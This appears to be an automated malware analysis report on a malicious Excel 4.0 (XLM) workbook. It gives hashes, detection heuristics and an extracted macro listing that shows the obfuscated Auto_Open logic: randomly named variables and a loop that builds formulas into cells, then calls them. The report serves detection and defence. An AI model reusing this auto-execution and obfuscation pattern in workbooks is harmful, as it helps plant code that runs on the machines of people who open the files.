Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 cf0bda9b00ff2191…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:33:59 Authoring application: Microsoft Excel First seen: 2021-04-10
MD5: 29a316b0d593b2d55bb042ab906fa082 SHA-1: 640a7c7965599cfcc635f2f377cce65994d75082 SHA-256: cf0bda9b00ff219160f9589e417989532fff2bf0008cbbc11a87c2eac96f1ea0
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6597 bytes
SHA-256: ba6f787f083f6291ad8a4362ef0920a262d115b44441e250d609e8966c0fd769
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     19 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  BYiRuRWzoJ
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!D177 
' 0018     20 LABEL : Cell Value, String Constant - cvUJf len=0 
' 0018     20 LABEL : Cell Value, String Constant - dmmKq len=0 
' 0018     20 LABEL : Cell Value, String Constant - DnOKP len=0 
' 0018     27 LABEL : Cell Value, String Constant - EZXvDQDUgTqp len=0 
' 0018     25 LABEL : Cell Value, String Constant - fmQnRqYpYz len=0 
' 0018     24 LABEL : Cell Value, String Constant - FxZesBJiK len=0 
' 0018     26 LABEL : Cell Value, String Constant - IjyTFnmtumt len=0 
' 0018     24 LABEL : Cell Value, String Constant - JTZmxGRzj len=0 
' 0018     27 LABEL : Cell Value, String Constant - lcAoDOyNaOLN len=0 
' 0018     20 LABEL : Cell Value, String Constant - nowKK len=0 
' 0018     20 LABEL : Cell Value, String Constant - OSkmB len=0 
' 0018     24 LABEL : Cell Value, String Constant - PJkYLYNLY len=0 
' 0018     24 LABEL : Cell Value, String Constant - pJpsIhaAV len=0 
' 0018     24 LABEL : Cell Value, String Constant - rljrQWZCr len=0 
' 0018     21 LABEL : Cell Value, String Constant - sAGwxt len=0 
' 0018     21 LABEL : Cell Value, String Constant - vfGvfh len=0 
' 0018     24 LABEL : Cell Value, String Constant - XmyiLWRlf len=0 
' 0018     25 LABEL : Cell Value, String Constant - xseuYNnrfZ len=0 
' 0018     23 LABEL : Cell Value, String Constant - xtzOJnBm len=0 
' 0018     21 LABEL : Cell Value, String Constant - yaJQQE len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  BYiRuRWzoJ,D79,"SET.NAME("PJkYLYNLY",VALUE("0"))",""
'  BYiRuRWzoJ,D84,"SET.NAME("FxZesBJiK",PJkYLYNLY)",""
'  BYiRuRWzoJ,D86,"SET.NAME("IjyTFnmtumt",PJkYLYNLY)",""
'  BYiRuRWzoJ,D91,"SET.NAME("lcAoDOyNaOLN",COUNTA(EZXvDQDUgTqp))",""
'  BYiRuRWzoJ,D93,"SET.NAME("OSkmB",COUNTA(cvUJf))",""
'  BYiRuRWzoJ,D98,[],""
'  BYiRuRWzoJ,D102,"SET.NAME("fmQnRqYpYz","")",""
'  BYiRuRWzoJ,D107,"FxZesBJiK",""
'  BYiRuRWzoJ,D110,"SET.NAME("sAGwxt",HLOOKUP("*",EZXvDQDUgTqp,FxZesBJiK,FALSE))",""
'  BYiRuRWzoJ,D115,"JTZmxGRzj",""
'  BYiRuRWzoJ,D117,"SET.NAME("pJpsIhaAV",PJkYLYNLY)",""
'  BYiRuRWzoJ,D119,[],""
'  BYiRuRWzoJ,D123,"pJpsIhaAV",""
'  BYiRuRWzoJ,D127,"DnOKP",""
'  BYiRuRWzoJ,D132,"yaJQQE",""
'  BYiRuRWzoJ,D136,"xseuYNnrfZ",""
'  BYiRuRWzoJ,D138,"SET.NAME("vfGvfh",VALUE(HLOOKUP("*",cvUJf,xseuYNnrfZ,FALSE)))",""
'  BYiRuRWzoJ,D143,"XmyiLWRlf",""
'  BYiRuRWzoJ,D148,"fmQnRqYpYz",""
'  BYiRuRWzoJ,D151,"IjyTFnmtumt",""
'  BYiRuRWzoJ,D156,NEXT(),""
'  BYiRuRWzoJ,D158,"nowKK",""
'  BYiRuRWzoJ,D161,"SET.NAME("f",INT(T(FORMULA(T(fmQnRqYpYz)&"",""&T(nowKK)))))",""
'  BYiRuRWzoJ,D166,"dmmKq",""
'  BYiRuRWzoJ,D171,NEXT(),""
'  BYiRuRWzoJ,D175,RETURN(),""
'  BYiRuRWzoJ,D199,"SET.NAME("rljrQWZCr",D79)",""
'  BYiRuRWzoJ,D204,"EZXvDQDUgTqp",""
'  BYiRuRWzoJ,D207,"SET.NAME("cvUJf",R82C14)",""
'  BYiRuRWzoJ,D212,"SET.NAME("dmmKq",222)",""
'  BYiRuRWzoJ,D216,"SET.NAME("xtzOJnBm",4)",""
'  BYiRuRWzoJ,D221,rljrQWZCr(),""
'  BYiRuRWzoJ,D222,HALT(),""

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